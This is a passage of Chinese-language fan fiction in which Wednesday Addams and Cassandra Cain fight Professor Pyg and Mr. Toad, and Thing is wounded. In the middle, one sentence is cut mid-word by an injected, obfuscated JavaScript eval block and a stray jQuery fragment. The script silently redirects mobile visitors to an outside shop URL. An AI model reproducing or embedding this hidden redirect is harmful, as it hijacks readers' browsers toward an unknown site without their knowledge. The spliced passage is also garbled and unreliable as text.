星期三察觉到了此人更为细致的性格侧写:这是一个童年饱受指责的人。在经历了年长者的过度指摘后,他虽然从铁链中站起,却为了保护自己而走向了神化自我的极端。
一个悲情的完美主义者,这是从刺入脏腑的批评中为自己垒起的盔甲。他从来没有在阴影中挣脱出来,而是让自己在锁链中攀爬到了狭隘的顶端,救无可救、沦陷其中。
他极有可能是在保护性创伤中,为了守护岌岌可危的心灵,分裂出了一个认为自己是动物的人格,并借此获取归属感。这源于根植于内心的痛楚,那不被人类承认,最终连他自己也不肯承认的怯懦。
他在人群中找不到能让自己完美立足的位置,于是只能退而求其次,在动物中寻找一席之地。如此可悲,又充满戏剧性。
星期三撕下了这一页,这会是她的战利品。今天过后,那座专门收容精神病罪犯的阿卡姆疯人院里,将会有他的一席之位。
此时,她已经听到了外面传来的打斗声。听着尖锐的破风声,猪面教授使用的是刀具,或许是大量用来充当飞镖的手术刀,而卡珊德拉无声无息、一直保持着幽影般的静步。
那边的猪面教授正用歌剧的腔调,向蝙蝠少女颂唱着:“让我来改造你——迷途的蝙蝠,看看你那完美的躯壳,我来让你变得更加完美~~”
卡珊德拉在努力将猪面教授引向不占据出口的地方,为星期三腾出可以离开的空隙。但猪面教授的脑子显然还保持着没有被动物性吞没的状态,起码是一个智商在线的人物。
他察觉到了蝙蝠少女的意图,于是死守着这里不走动,转而操控了手中的某个机关。天花板上传来“咔擦咔擦”的声响,那些笼子被放了下来,集中地向卡珊德拉逼近。
小东西见势不妙,在星期三的默许下,跑到卡珊德拉身边帮忙。他鬼鬼祟祟地从边缘踱步而去,趁着猪面教授不注意,一个跳跃就直接扒住了对方的猪头。
“No——!你不能摘下我的面具,请从我的脸上离开!”
猪面教授被小东西扰乱了歌腔,于是停下了悠扬的咏叹。但即便是在恼怒说话,他也依旧保持着礼仪化的措辞,透着完美主义的仪式感优雅。
星期三察觉到他抗拒摘下面具,这实际上是对真实自我的抗拒与恐惧。由于自我长期被否定、被指摘,导致他失去了做自己的勇气。
而那个猪头面具就像是一个切换开关,让他能像自大狂妄的造物主一样走在人间,把真实的怯懦遗忘在身后,使得他拥有了那些曾经指责他的人都不曾拥有的统治感,以及理所应当支配他人的快感。
趁着不会被注意的空隙,她迅速闪出这个房间。就在小东西没能成功摘下面具、即将被恢复视野的猪面教授甩开的前一秒,她立刻钻进了旁边的一间屋子。
这里比隔壁要显得狭小且杂乱,但同样有一张床,还胡乱摆放着一些像是少年穿的衣物。就在星期三观察四周时,头顶突然传来了一阵异响,于是她果断抽出长剑,转身就朝那个方向挥去。
只见一个绿色的矮小身影向后跃起,躲过了自己的攻击。她与对方四目相对,在看清这只穿着得体西装的绿色癞蛤蟆的那一刻,她心中骤然升起一个念头:谜语人真的变成癞蛤蟆了?
但这个荒谬的想法很快就被对方的发言打破了:“老板果然没有猜错,他的房间里果然混进来了人。”他奇怪地看了看四周,“不过老板的房间今天怎么看起来和我的房间一样小?”
星期三在一瞬间就将这个生物的智商划入了底层的分配,同时也察觉到,即使是动物拟人化,视力也会保持退化。
而对面的类人生物显然依旧牢记着他口中老板所要求的礼仪。这只忠诚的癞蛤蟆对星期三行了个礼,说道:“老板告诉我要对敌人也保持礼貌。这是我的自我介绍:你好,我是蟾蜍先生。老板管自己叫猪面教授。”
“请问,你在老板的房间做些什么?”他危险地眯起眼。
星期三的视线缓缓扫视了一圈周围,接着对蟾蜍说道:“你应该先去给自己做个失明手术,这样就不会导致你在你老板的要求下认错东西——毕竟你本来就已经瞎了。”
显然,这短暂的礼仪已经耗光了蟾蜍勉强挤出一点的品格。他被星期三说的话彻底激怒了——但他或许连生气时都没有意识到,星期三其实是在嘲讽他认错了房间。
只见这只矮小的绿色生物突兀地张大嘴巴,对着星期三发动了声波攻击,无形的波涛瞬间向她涌来。
她立马撑开黑伞想要挡住攻击,但是还是被巨大的冲击力掀飞,整个人向后倒去,撞碎了大门,重重地摔在了猪面教授的视线范围内。
这让猪面教授略显夸张地投过来视线,用惊讶的语气说道:“这真是一个无与伦比的瑕疵品。百胞胎,去把她带到我的手术台上。”
星期三立刻从地上站了起来,甩开那把已经报废的黑伞,握紧乌鸦长剑,迎向那些包围过来的人偶。
而另一边,敌人数量骤然减少的蝙蝠少女也几个翻身,赶到了她的身边。一同对抗这些被抹除人格、沦为提线木偶的家伙。
站在门口的猪面教授还在不停地说着:“你保持礼貌了吗,蟾蜍先生?”
“是的,老板。我是在她对我不礼貌后才进行的攻击,她该死的居然让我去做失明手术。”从房间里走出的蟾蜍抱怨道。
“注意文明,蟾蜍先生。可能是你认错了东西,所以她在用反讽的方式对你进行提醒。不过不用担心,你只是视力不太好了,不会在短期内失明。但我还是建议你去检查一下。”
紧接着,他将目光投向前方正用长剑战斗着的哥特风格女孩,端详着说道:“不过,她对你的无礼行为以及这身装束,恰恰向我们证明了——她是一个非常、非常需要被改造的瑕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738284|206122||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
疵品。”
猪面教授向前走了几步,用指尖描绘着她的轮廓:“看看这突出的个性,简直无法被人类容忍。我们需要帮助她融入这个世界。”
就在这时,刚才被甩飞的小东西又从角落里偷偷摸了回来。他猛地纵身一跃,扑向正在对星期三进行不当言论的猪面教授,但却被早就有所察觉的猪面教授挥刀砍落,锋利的刀锋在空中硬生生甩出一道刺眼的血花。
“Thing!”星期三在挥砍人偶的间隙瞥见了这一幕,神经瞬间传来一阵刺痛。她立刻朝小东西坠地的方向狂奔而去。
卡珊德拉的心脏也被狠狠拉扯了一下。她担忧地朝那个方向望去,随即转身,接过了那些朝星期三涌去的敌人。
这些人偶的优势不在于单体强度,而在于庞大的数量与被篡改的意识。被剥夺的人格不仅让他们丧失了自主意识,更让他们失去了痛觉。
他们仿佛永无止境、不知疲倦,只能依据猪面教授的命令不停地起身反击。而他们本身又是受害者,这使得卡珊德拉下手时仍有所保留,刻意避开了那些可能会导致他们终身残疾的要害。
但星期三下手就没有那么讲究了。虽然她并未痛下杀手,却精准地挑断了人偶的筋骨,让他们彻底丧失行动能力。
可即便如此,这些人偶的数量依然惊人,简直足够支撑猪面教授开一场动物界的畸形展。只可惜千篇一律,毫无美感与吸引力。
看着眼前这源源不断的人偶,不难想象他究竟杀害了多少人,而真实的受害者数量,恐怕只会比现在更多。
大概率,这些人偶是被伪装成马戏团的货物,随货车一起运送进哥谭的。
至于他如何躲过检查,这其中可能有人在暗中协助,又或许是他挑选的时机恰到好处——正值猫头鹰和小丑同时出来作乱的时间段。义警们的注意力被完全牵制,这才让他得以在空隙中占据一席之地。
她不再多想,更加狠戾地劈开那些挡在面前的无脸人偶,朝着小东西所在的方向跑去。
小东西的身体剧烈地抽搐着。那一刀从他身躯正中间刺过,留下一道深可见骨的伤痕,血液汩汩流淌。星期三捧起他,难得有些不知所措。
她迅速找出之前罗宾给她的止血喷雾,对着小东西的伤口喷上,又扯下自己身上的绷带将他的伤口包扎起来。然而,小东西并没有像往常那样对她比出“没事”的手势。
她怀疑猪面教授的武器上涂抹了控制人偶的神经毒素。不过,由于猪面教授并未对小东西进行实质性的改造,他目前呈现出的只是神志被干扰后的僵硬的状态。她必须尽快处理小东西的伤口,并找到解药。
这个时候,猪面教授朝着星期三所在的方向走来。他的身边跟着蟾蜍先生,两人的步伐得体却又悠哉游哉,完全不把她放在眼里。
毕竟,蝙蝠少女已经主动带着百胞胎远离了这边的区域。